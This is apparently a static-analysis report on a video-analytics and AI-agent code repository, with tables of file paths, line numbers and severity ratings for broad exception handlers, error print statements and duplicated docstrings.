| LOW | tools/message-broker-consumers/base_consumer.py | 146 | except Exception as e: | CODE |
| LOW | tools/message-broker-consumers/base_consumer.py | 173 | except Exception as e: | CODE |
| LOW | tools/message-broker-consumers/base_consumer.py | 256 | except Exception as e: | CODE |
| LOW | tools/message-broker-consumers/base_consumer.py | 268 | except Exception as e: | CODE |
| LOW | tools/message-broker-consumers/base_consumer.py | 370 | except Exception as e: | CODE |
| LOW | tools/message-broker-consumers/base_consumer.py | 382 | except Exception as e: | CODE |
| MEDIUM | …postprocessing/data_conversion/convert_ground_truth.py | 477 | print(f"Error processing bbox {i}: {e}") | CODE |
| MEDIUM | …postprocessing/data_conversion/convert_ground_truth.py | 1172 | print(f"Error processing directory: {e}") | CODE |
| MEDIUM | …postprocessing/data_conversion/convert_ground_truth.py | 1609 | print(f"Error: Root directory '{root_directory}' does not exist.") | CODE |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1171 | except Exception as e: | CODE |
| LOW | …cessing/data_sanity_check/dataset_sanity_check_json.py | 98 | except Exception as e: | CODE |
| LOW⚡ | …_sanity_check/dataset_sanity_check_instance_id_json.py | 83 | except Exception as e: | CODE |
| LOW⚡ | …ocessing/data_sanity_check/dataset_sanity_check_npy.py | 91 | except Exception as e: | CODE |
| MEDIUM | deploy/docker/services/alert/scripts/env-substitute.py | 59 | print("Error: Missing '--' separator between entrypoint args and command", file=sys.stderr) | CODE |
| MEDIUM | deploy/docker/services/alert/scripts/env-substitute.py | 104 | print("Error: No command provided after '--'", file=sys.stderr) | CODE |
| MEDIUM⚡ | deploy/docker/services/alert/scripts/env-substitute.py | 143 | print(f"Error: Source config file not found: {source}", file=sys.stderr) | CODE |
| LOW⚡ | deploy/docker/services/alert/scripts/env-substitute.py | 145 | except Exception as e: | CODE |
| MEDIUM⚡ | deploy/docker/services/alert/scripts/env-substitute.py | 146 | print(f"Error reading source config: {e}", file=sys.stderr) | CODE |
| LOW⚡ | deploy/docker/services/alert/scripts/env-substitute.py | 156 | except Exception as e: | CODE |
| MEDIUM⚡ | deploy/docker/services/alert/scripts/env-substitute.py | 157 | print(f"Error writing processed config: {e}", file=sys.stderr) | CODE |
| MEDIUM | …ces/infra/charts/kafka/templates/kafka-topics-job.yaml | 85 | print(f'Error creating topic {name}: {result.stderr}', file=sys.stderr) | CODE |
| LOW | libs/vss/core/src/sitecustomize.py | 70 | except Exception: | CODE |
| LOW | libs/vss/core/src/sitecustomize.py | 82 | except Exception: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 328 | except Exception as error: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 362 | except Exception as error: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 384 | except Exception as error: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 401 | except Exception as error: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 426 | except Exception as error: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 489 | except Exception as error: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/service.py | 511 | except Exception as error: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/notes.py | 250 | except Exception: | CODE |
| LOW | libs/vss/core/src/vss_core/memory/backfill.py | 108 | except Exception as error: | CODE |
| LOW | …c/vss_core/memory/backends/elasticsearch_embeddings.py | 222 | except Exception as error: | CODE |
| LOW | …c/vss_core/memory/backends/elasticsearch_embeddings.py | 261 | except Exception as error: | CODE |
| LOW | …c/vss_core/memory/backends/elasticsearch_embeddings.py | 271 | except Exception as error: | CODE |
| LOW | …c/vss_core/memory/backends/elasticsearch_embeddings.py | 294 | except Exception as error: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 358 | except Exception as e: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 408 | except Exception as e: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 515 | except Exception as e: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 731 | except Exception as e: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 1124 | except Exception as e: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 1180 | except Exception as e: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 1255 | except Exception as e: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 1268 | except Exception: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 1326 | except Exception as exc: | CODE |
| LOW | libs/vss/core/src/vss_core/vios/client.py | 1487 | except Exception as exc: | CODE |
| LOW | …bs/vss/core/src/vss_core/introspection/orchestrator.py | 112 | except Exception as error: | CODE |
| LOW | …bs/vss/core/src/vss_core/introspection/orchestrator.py | 125 | except Exception as error: | CODE |
| LOW | …bs/vss/core/src/vss_core/introspection/orchestrator.py | 175 | except Exception as error: | CODE |
| LOW | …bs/vss/core/src/vss_core/introspection/orchestrator.py | 208 | except Exception as error: | CODE |
| LOW | …s/core/src/vss_core/knowledge/adapters/arango_graph.py | 162 | except Exception as e: | CODE |
| LOW | …ss/core/src/vss_core/knowledge/adapters/llama_index.py | 151 | except Exception as e: | CODE |
| LOW | …ss/core/src/vss_core/knowledge/adapters/llama_index.py | 173 | except Exception as e: | CODE |
| MEDIUM | …ss/core/src/vss_core/knowledge/adapters/llama_index.py | 170 | def health_check(self) -> bool: | CODE |
| LOW | …s/vss/core/src/vss_core/knowledge/adapters/frag_api.py | 163 | except Exception as e: | CODE |
| LOW | …vss/core/src/vss_core/knowledge/adapters/es_caption.py | 177 | except Exception as e: | CODE |
| LOW | …/vss/core/src/vss_core/knowledge/adapters/langchain.py | 144 | except Exception as e: | CODE |
| LOW | …/vss/core/src/vss_core/knowledge/adapters/langchain.py | 166 | except Exception as e: | CODE |
| MEDIUM | …/vss/core/src/vss_core/knowledge/adapters/langchain.py | 163 | def health_check(self) -> bool: | CODE |
| LOW | …s/vss/core/src/vss_core/knowledge/adapters/frag_lib.py | 144 | except Exception as e: | CODE |
| 2260 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | tools/message-broker-consumers/base_consumer.py | 368 | except KeyboardInterrupt: | CODE |
| HIGH | …/docker/scripts/nemoclaw/dashboard-forward-watchdog.py | 220 | except KeyboardInterrupt: | CODE |
| HIGH | deploy/docker/scripts/nemoclaw/dashboard-relay.py | 87 | except (ConnectionError, OSError): | CODE |
| HIGH | deploy/docker/scripts/nemoclaw/dashboard-relay.py | 125 | except KeyboardInterrupt: | CODE |
| HIGH | …y/helm/benchmark-profiles/vllm/files/request_policy.py | 98 | except (ValueError, UnicodeDecodeError): | CODE |
| HIGH | …y/helm/benchmark-profiles/vllm/files/request_policy.py | 69 | except ValueError: | CODE |
| HIGH | libs/vss/cli/src/vss_cli/memory.py | 343 | except ImportError: # pragma: no cover - present wherever the ES store is | CODE |
| HIGH | libs/vss/cli/src/vss_cli/vlm/runner.py | 578 | except Exception: | CODE |
| HIGH | …data-utils/spatialai_data_utils/core/cameras/origin.py | 446 | except (ValueError, TypeError): | CODE |
| HIGH | …data-utils/spatialai_data_utils/core/cameras/origin.py | 423 | except (ValueError, TypeError): | CODE |
| HIGH | …data-utils/spatialai_data_utils/core/cameras/origin.py | 428 | except (ValueError, TypeError): | CODE |
| HIGH | …thub/vss-playbook-compliance/skill_compliance_check.py | 852 | except OSError: | CODE |
| HIGH | .github/scripts/trigger_downstream_pipeline.py | 128 | except (UnicodeDecodeError, json.JSONDecodeError): | CODE |
| HIGH | .github/scripts/poll-downstream-pipeline.py | 525 | except (AttributeError, OSError): | CODE |
| HIGH | .github/scripts/release_notes/github_api.py | 51 | except Exception: | CODE |
| HIGH | .github/skill-eval/run_leg.py | 488 | except json.JSONDecodeError: | CODE |
| HIGH | .github/skill-eval/run_leg.py | 501 | except json.JSONDecodeError: | CODE |
| HIGH | .github/skill-eval/run_leg.py | 1091 | except subprocess.TimeoutExpired: | CODE |
| HIGH | .github/skill-eval/run_leg.py | 1388 | except OSError: | CODE |
| HIGH | .github/skill-eval/run_leg.py | 508 | except json.JSONDecodeError: | CODE |
| HIGH | .github/skill-eval/run_leg.py | 1071 | except ProcessLookupError: | CODE |
| HIGH | .github/skill-eval/run_leg.py | 1533 | except Exception: # noqa: BLE001 | CODE |
| HIGH | .github/skill-eval/redact_secrets.py | 109 | except (OSError, subprocess.TimeoutExpired): | CODE |
| HIGH | .github/skill-eval/tests/test_leg_report.py | 138 | except leg_report.SpecError: | CODE |
| HIGH | .github/skill-eval/tests/test_run_leg.py | 953 | except ProcessLookupError: | CODE |
| HIGH | .github/skill-eval/tests/test_local_nim_protocols.py | 158 | except httpx.ConnectError: | CODE |
| HIGH | .github/skill-eval/nemoclaw/headless_runner.py | 126 | except Exception: | CODE |
| HIGH | .github/skill-eval/nemoclaw/headless_runner.py | 645 | except Exception: # noqa: BLE001 | CODE |
| HIGH | .github/skill-eval/nemoclaw/headless_runner.py | 689 | except OSError: | CODE |
| HIGH | .github/skill-eval/envs/brev_env.py | 2374 | except json.JSONDecodeError: | CODE |
| HIGH | .github/skill-eval/envs/brev_env.py | 2397 | except json.JSONDecodeError: | CODE |
| HIGH | .github/skill-eval/envs/brev_env.py | 2391 | except json.JSONDecodeError: | CODE |
| HIGH | .github/skill-eval/envs/brev_env.py | 2406 | except json.JSONDecodeError: | CODE |
| HIGH | .github/skill-eval/envs/brev_env.py | 1905 | except ProcessLookupError: | CODE |
| HIGH | …tions/vss-manage-alerts/scripts/alert-notify/server.py | 124 | except Exception: | CODE |
| HIGH | …s-benchmark-video-summarization/scripts/gpu_monitor.py | 46 | except Exception: | CODE |
| HIGH | …g/vss-evaluate-caption-accuracy/scripts/multi_judge.py | 915 | except Exception: | CODE |
| HIGH | …ss-evaluate-caption-accuracy/scripts/run_captioning.py | 425 | except (subprocess.SubprocessError, FileNotFoundError): | CODE |
| HIGH | …ss-evaluate-caption-accuracy/scripts/run_captioning.py | 585 | except Exception: | CODE |
| HIGH | …ss-evaluate-caption-accuracy/scripts/run_captioning.py | 528 | except Exception: | CODE |
| HIGH | …vices/rtvi/rt-embed/tests/redis/test_redis_consumer.py | 192 | except Exception: | CODE |
| HIGH | …vices/rtvi/rt-embed/tests/redis/test_redis_consumer.py | 188 | except Exception: | CODE |
| HIGH | …ices/rtvi/rt-embed/tests/redis/test_redis_publisher.py | 187 | except Exception: | CODE |
| HIGH | …rtvi/rt-embed/tests/rtvi_embed/run_rtvi_embed_tests.py | 71 | except OSError: | CODE |
| HIGH | …-embed/tests/rtvi_embed/test_rtvi_embed_integration.py | 680 | except Exception: | CODE |
| HIGH | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 2104 | except Exception: | CODE |
| HIGH | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 2229 | except ServiceException: | CODE |
| HIGH | …rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py | 3644 | except FileNotFoundError: | CODE |
| HIGH | …rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py | 1086 | except Exception: | CODE |
| HIGH | …rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py | 1141 | except Exception: | CODE |
| HIGH | services/rtvi/rt-embed/src/utils/asset_manager.py | 1586 | except FileNotFoundError: | CODE |
| HIGH | services/rtvi/rt-embed/src/utils/asset_manager.py | 1856 | except OSError: | CODE |
| HIGH | services/rtvi/rt-embed/src/utils/asset_manager.py | 1235 | except Exception: | CODE |
| HIGH | services/rtvi/rt-embed/src/utils/file_splitter.py | 173 | except (TypeError, ValueError): | CODE |
| HIGH | services/rtvi/rt-embed/src/utils/request_profiler.py | 31 | except Exception: | CODE |
| HIGH | …-embed/src/models/openai_compat/openai_compat_model.py | 1242 | except ImportError: | CODE |
| HIGH | services/rtvi/rt-embed/src/api_models/embeddings.py | 127 | except (ValueError, ipaddress.AddressValueError): | CODE |
| HIGH | services/rtvi/rt-embed/src/api_models/common.py | 168 | except ValueError: | CODE |
| HIGH | …m/patches/evs_vllm_public_files/v1/engine/async_llm.py | 187 | except RuntimeError: | CODE |
| HIGH | …distributed/ec_transfer/ec_connector/nixl_connector.py | 944 | except Exception: | CODE |
| 239 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/message-broker-consumers/schema_pb2.py | 25 | CODE | |
| LOW | tools/message-broker-consumers/ext_pb2.py | 25 | CODE | |
| LOW | tools/message-broker-consumers/ext_pb2.py | 26 | CODE | |
| LOW | tools/sdg-postprocessing/semantic_labeling/box_check.py | 16 | CODE | |
| LOW | …cessing/data_conversion/convert_npy_to_png_depthmap.py | 22 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 19 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 24 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 26 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 27 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 28 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 29 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 31 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 33 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 37 | CODE | |
| LOW | …cessing/data_sanity_check/dataset_sanity_check_json.py | 17 | CODE | |
| LOW | …cessing/data_sanity_check/dataset_sanity_check_json.py | 19 | CODE | |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_png.py | 19 | CODE | |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 25 | CODE | |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_rgb.py | 19 | CODE | |
| LOW | …_sanity_check/dataset_sanity_check_instance_id_json.py | 17 | CODE | |
| LOW | …_sanity_check/dataset_sanity_check_instance_id_json.py | 19 | CODE | |
| LOW | …_sanity_check/dataset_sanity_check_instance_id_json.py | 21 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 17 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 19 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 20 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 27 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 28 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 29 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 30 | CODE | |
| LOW | …a_sanity_check/dataset_sanity_check_instance_id_png.py | 19 | CODE | |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_npy.py | 17 | CODE | |
| LOW | deploy/docker/scripts/run_setup_notebook.py | 11 | CODE | |
| LOW | deploy/docker/scripts/nemoclaw/inference-api-proxy.py | 36 | CODE | |
| LOW | …/docker/scripts/nemoclaw/dashboard-forward-watchdog.py | 38 | CODE | |
| LOW | deploy/docker/scripts/nemoclaw/dashboard-relay.py | 37 | CODE | |
| LOW | …er/services/alert/scripts/tests/test_env_substitute.py | 18 | CODE | |
| LOW | deploy/tests/test_alerts_video_understanding_prompt.py | 17 | CODE | |
| LOW | deploy/tests/test_agent_edge_timeout.py | 23 | CODE | |
| LOW | deploy/tests/test_helm_lvs_nvstreamer_ingress.py | 5 | CODE | |
| LOW | deploy/tests/test_helm_vllm.py | 5 | CODE | |
| LOW | deploy/tests/test_overlay_endpoint_configs.py | 9 | CODE | |
| LOW | deploy/tests/test_helm_rtvi_vlm_gpu_selection.py | 5 | CODE | |
| LOW | deploy/tests/test_helm_nemotron_parity.py | 5 | CODE | |
| LOW | deploy/tests/test_helm_vios_max_devices.py | 11 | CODE | |
| LOW | deploy/tests/test_helm_ingress_annotations.py | 13 | CODE | |
| LOW | deploy/tests/test_helm_lvs_rtvi_registration.py | 5 | CODE | |
| LOW | deploy/tests/test_helm_alerts_agent_planning.py | 5 | CODE | |
| LOW | deploy/tests/test_agent_openai_key.py | 5 | CODE | |
| LOW | deploy/tests/test_helm_plugin_selects_devices.py | 15 | CODE | |
| LOW | deploy/tests/test_warehouse_llm_timeout.py | 12 | CODE | |
| LOW | deploy/tests/test_helm_release_name_prefix.py | 16 | CODE | |
| LOW | deploy/tests/test_helm_rtvi_vlm_frame_cap.py | 5 | CODE | |
| LOW | deploy/tests/test_helm_vst_nodeport_urls.py | 4 | CODE | |
| LOW | deploy/tests/test_search_prompt_policy.py | 5 | CODE | |
| LOW | deploy/tests/test_helm_ingress_version_route.py | 15 | CODE | |
| LOW | libs/vss/core/tests/unit_test/memory/test_retrieval.py | 5 | CODE | |
| LOW | libs/vss/core/tests/unit_test/memory/group_adapters.py | 11 | CODE | |
| LOW | …/vss/core/tests/unit_test/memory/test_elasticsearch.py | 5 | CODE | |
| LOW | libs/vss/core/tests/unit_test/memory/test_embeddings.py | 5 | CODE | |
| LOW | libs/vss/core/tests/unit_test/memory/test_memory.py | 5 | CODE | |
| 1501 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ocessing/data_sanity_check/dataset_sanity_check_png.py | 0 | perform a dataset sanity check on instance id segmentation png files. this function verifies the integrity of instance i | STRING |
| HIGH | …ocessing/data_sanity_check/dataset_sanity_check_rgb.py | 0 | perform a dataset sanity check on instance id segmentation png files. this function verifies the integrity of instance i | STRING |
| HIGH | …_sanity_check/dataset_sanity_check_instance_id_json.py | 0 | perform a dataset sanity check on instance id segmentation png files. this function verifies the integrity of instance i | STRING |
| HIGH | …a_sanity_check/dataset_sanity_check_instance_id_png.py | 0 | perform a dataset sanity check on instance id segmentation png files. this function verifies the integrity of instance i | STRING |
| HIGH | …ocessing/data_sanity_check/dataset_sanity_check_png.py | 0 | command-line interface for the instance id segmentation png dataset sanity check tool. usage: python dataset_sanity_chec | STRING |
| HIGH | …_sanity_check/dataset_sanity_check_instance_id_json.py | 0 | command-line interface for the instance id segmentation png dataset sanity check tool. usage: python dataset_sanity_chec | STRING |
| HIGH | …a_sanity_check/dataset_sanity_check_instance_id_png.py | 0 | command-line interface for the instance id segmentation png dataset sanity check tool. usage: python dataset_sanity_chec | STRING |
| HIGH | libs/vss/core/tests/unit_test/conftest.py | 0 | # test report ## summary | field | value | |-------|-------| | location | san jose | | time | 10:00 am | ## details ### | STRING |
| HIGH | libs/vss/cli/tests/unit_test/conftest.py | 0 | # test report ## summary | field | value | |-------|-------| | location | san jose | | time | 10:00 am | ## details ### | STRING |
| HIGH | …/agent/packages/vss_agents/tests/unit_test/conftest.py | 0 | # test report ## summary | field | value | |-------|-------| | location | san jose | | time | 10:00 am | ## details ### | STRING |
| HIGH | …atialai_data_utils/eval/tracking/hota/metrics/clear.py | 0 | combines metrics across all sequences :param dict[str, float] all_res: dictionary containing the metrics for each sequen | STRING |
| HIGH | …patialai_data_utils/eval/tracking/hota/metrics/hota.py | 0 | combines metrics across all sequences :param dict[str, float] all_res: dictionary containing the metrics for each sequen | STRING |
| HIGH | …atialai_data_utils/eval/tracking/hota/metrics/count.py | 0 | combines metrics across all sequences :param dict[str, float] all_res: dictionary containing the metrics for each sequen | STRING |
| HIGH | …alai_data_utils/eval/tracking/hota/metrics/identity.py | 0 | combines metrics across all sequences :param dict[str, float] all_res: dictionary containing the metrics for each sequen | STRING |
| HIGH | …atialai_data_utils/eval/tracking/hota/metrics/clear.py | 0 | combines metrics across all classes by averaging over the detection values :param dict[str, float] all_res: dictionary c | STRING |
| HIGH | …patialai_data_utils/eval/tracking/hota/metrics/hota.py | 0 | combines metrics across all classes by averaging over the detection values :param dict[str, float] all_res: dictionary c | STRING |
| HIGH | …alai_data_utils/eval/tracking/hota/metrics/identity.py | 0 | combines metrics across all classes by averaging over the detection values :param dict[str, float] all_res: dictionary c | STRING |
| HIGH | …atialai_data_utils/eval/tracking/hota/metrics/count.py | 0 | combines metrics across all classes by averaging over the detection values :param dict[str, float] all_res: dictionary c | STRING |
| HIGH | …atialai_data_utils/eval/tracking/hota/metrics/clear.py | 0 | combines metrics across all classes by averaging over the class values. if 'ignore_empty_classes' is true, then it only | STRING |
| HIGH | …patialai_data_utils/eval/tracking/hota/metrics/hota.py | 0 | combines metrics across all classes by averaging over the class values. if 'ignore_empty_classes' is true, then it only | STRING |
| HIGH | …alai_data_utils/eval/tracking/hota/metrics/identity.py | 0 | combines metrics across all classes by averaging over the class values. if 'ignore_empty_classes' is true, then it only | STRING |
| HIGH | …atialai_data_utils/eval/tracking/hota/metrics/clear.py | 0 | calculate sub-metric ('field') values which only depend on other sub-metric values. this function is used both for both | STRING |
| HIGH | …patialai_data_utils/eval/tracking/hota/metrics/hota.py | 0 | calculate sub-metric ('field') values which only depend on other sub-metric values. this function is used both for both | STRING |
| HIGH | …alai_data_utils/eval/tracking/hota/metrics/identity.py | 0 | calculate sub-metric ('field') values which only depend on other sub-metric values. this function is used both for both | STRING |
| HIGH | …al/tracking/hota/datasets/mot_challenge_3d_location.py | 0 | dataset class for mot challenge 3d tracking :param dict config: configuration for the app :: default_dataset = trackeeva | STRING |
| HIGH | …l/tracking/hota/datasets/mtmc_challenge_3d_location.py | 0 | dataset class for mot challenge 3d tracking :param dict config: configuration for the app :: default_dataset = trackeeva | STRING |
| HIGH | …/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py | 0 | dataset class for mot challenge 3d tracking :param dict config: configuration for the app :: default_dataset = trackeeva | STRING |
| HIGH | …al/tracking/hota/datasets/mot_challenge_3d_location.py | 0 | initialise dataset, checking that all required files are present | STRING |
| HIGH | …ls/eval/tracking/hota/datasets/mot_challenge_2d_box.py | 0 | initialise dataset, checking that all required files are present | STRING |
| HIGH | …l/tracking/hota/datasets/mtmc_challenge_3d_location.py | 0 | initialise dataset, checking that all required files are present | STRING |
| HIGH | …/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py | 0 | initialise dataset, checking that all required files are present | STRING |
| HIGH | …al/tracking/hota/datasets/mot_challenge_3d_location.py | 0 | gets the display name of the tracker :param str tracker: class of tracker :return: str :: dataset.get_display_name(track | STRING |
| HIGH | …ls/eval/tracking/hota/datasets/mot_challenge_2d_box.py | 0 | gets the display name of the tracker :param str tracker: class of tracker :return: str :: dataset.get_display_name(track | STRING |
| HIGH | …l/tracking/hota/datasets/mtmc_challenge_3d_location.py | 0 | gets the display name of the tracker :param str tracker: class of tracker :return: str :: dataset.get_display_name(track | STRING |
| HIGH | …/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py | 0 | gets the display name of the tracker :param str tracker: class of tracker :return: str :: dataset.get_display_name(track | STRING |
| HIGH | …al/tracking/hota/datasets/mot_challenge_3d_location.py | 0 | load a file (gt or tracker) in the mot challenge 2d box format if is_gt, this returns a dict which contains the fields: | STRING |
| HIGH | …l/tracking/hota/datasets/mtmc_challenge_3d_location.py | 0 | load a file (gt or tracker) in the mot challenge 2d box format if is_gt, this returns a dict which contains the fields: | STRING |
| HIGH | …/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py | 0 | load a file (gt or tracker) in the mot challenge 2d box format if is_gt, this returns a dict which contains the fields: | STRING |
| HIGH | …ls/eval/tracking/hota/datasets/mot_challenge_2d_box.py | 0 | load a file (gt or tracker) in the mot challenge 2d box format if is_gt, this returns a dict which contains the fields: | STRING |
| HIGH | …al/tracking/hota/datasets/mot_challenge_3d_location.py | 0 | preprocess data for a single sequence for a single class ready for evaluation. inputs: - raw_data is a dict containing t | STRING |
| HIGH | …ls/eval/tracking/hota/datasets/mot_challenge_2d_box.py | 0 | preprocess data for a single sequence for a single class ready for evaluation. inputs: - raw_data is a dict containing t | STRING |
| HIGH | …l/tracking/hota/datasets/mtmc_challenge_3d_location.py | 0 | preprocess data for a single sequence for a single class ready for evaluation. inputs: - raw_data is a dict containing t | STRING |
| HIGH | …/eval/tracking/hota/datasets/mtmc_challenge_3d_bbox.py | 0 | preprocess data for a single sequence for a single class ready for evaluation. inputs: - raw_data is a dict containing t | STRING |
| HIGH | …-data-utils/tests/core/cameras/test_camera_grouping.py | 0 | create a temporary directory for test files under spatialai_data_utils/tmp/. | STRING |
| HIGH | …ta-utils/tests/core/cameras/test_origin_calculation.py | 0 | create a temporary directory for test files under spatialai_data_utils/tmp/. | STRING |
| HIGH | …ata-utils/tests/core/cameras/test_camera_clustering.py | 0 | create a temporary directory for test files under spatialai_data_utils/tmp/. | STRING |
| HIGH | .github/skill-eval/adapters/vss-ask-video/generate.py | 0 | shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew | STRING |
| HIGH | …ub/skill-eval/adapters/vss-query-analytics/generate.py | 0 | shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew | STRING |
| HIGH | …al/adapters/vss-generate-video-calibration/generate.py | 0 | shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew | STRING |
| HIGH | …-eval/adapters/vss-manage-video-io-storage/generate.py | 0 | shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew | STRING |
| HIGH | …ll-eval/adapters/vss-generate-video-report/generate.py | 0 | shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew | STRING |
| HIGH | …l-eval/adapters/vss-deploy-video-embedding/generate.py | 0 | shell wrapper that invokes the generic llm-as-judge verifier for a single step's checks. harbor reads /logs/verifier/rew | STRING |
| HIGH | .github/skill-eval/adapters/vss-ask-video/generate.py | 0 | emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents | STRING |
| HIGH | …ub/skill-eval/adapters/vss-query-analytics/generate.py | 0 | emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents | STRING |
| HIGH | …ll-eval/adapters/vss-generate-video-report/generate.py | 0 | emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents | STRING |
| HIGH | …al/adapters/vss-generate-video-calibration/generate.py | 0 | emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents | STRING |
| HIGH | …-eval/adapters/vss-manage-video-io-storage/generate.py | 0 | emit one harbor task directory per entry in spec['expects'] — i.e. step-<k>/ subdirs under `base/<platform>/` per agents | STRING |
| HIGH | …thub/skill-eval/adapters/vss-manage-alerts/generate.py | 0 | resolve a peer skill by its leaf directory name. a skill lives at either skills/<name>/ or skills/<category>/<name>/, an | STRING |
| HIGH | …/adapters/vss-deploy-detection-tracking-3d/generate.py | 0 | resolve a peer skill by its leaf directory name. a skill lives at either skills/<name>/ or skills/<category>/<name>/, an | STRING |
| HIGH | …hub/skill-eval/adapters/vss-search-archive/generate.py | 0 | resolve a peer skill by its leaf directory name. a skill lives at either skills/<name>/ or skills/<category>/<name>/, an | STRING |
| 142 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/message-broker-consumers/base_consumer.py | 118 | CODE | |
| LOW | tools/message-broker-consumers/base_consumer.py | 153 | CODE | |
| LOW | tools/message-broker-consumers/base_consumer.py | 276 | CODE | |
| LOW | …ols/sdg-postprocessing/utils/export_xform_semantics.py | 100 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 84 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 279 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 348 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 543 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 600 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 757 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 999 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1228 | CODE | |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1361 | CODE | |
| LOW | …ta_conversion/convert_single_camera_rgb_depth_to_h5.py | 39 | CODE | |
| LOW | …cessing/data_sanity_check/dataset_sanity_check_json.py | 24 | CODE | |
| LOW | …cessing/data_sanity_check/dataset_sanity_check_json.py | 139 | CODE | |
| LOW | …ing/data_sanity_check/dataset_sanity_check_velocity.py | 66 | CODE | |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 76 | CODE | |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 438 | CODE | |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 681 | CODE | |
| LOW | …_sanity_check/dataset_sanity_check_instance_id_json.py | 23 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 451 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 512 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 556 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 593 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 639 | CODE | |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 687 | CODE | |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_npy.py | 23 | CODE | |
| LOW | deploy/docker/scripts/run_setup_notebook.py | 192 | CODE | |
| LOW | deploy/docker/scripts/tests/test_run_setup_notebook.py | 381 | CODE | |
| LOW | …/docker/scripts/nemoclaw/dashboard-forward-watchdog.py | 180 | CODE | |
| LOW | deploy/tests/test_helm_llm_route.py | 103 | CODE | |
| LOW | deploy/tests/test_helm_llm_route.py | 216 | CODE | |
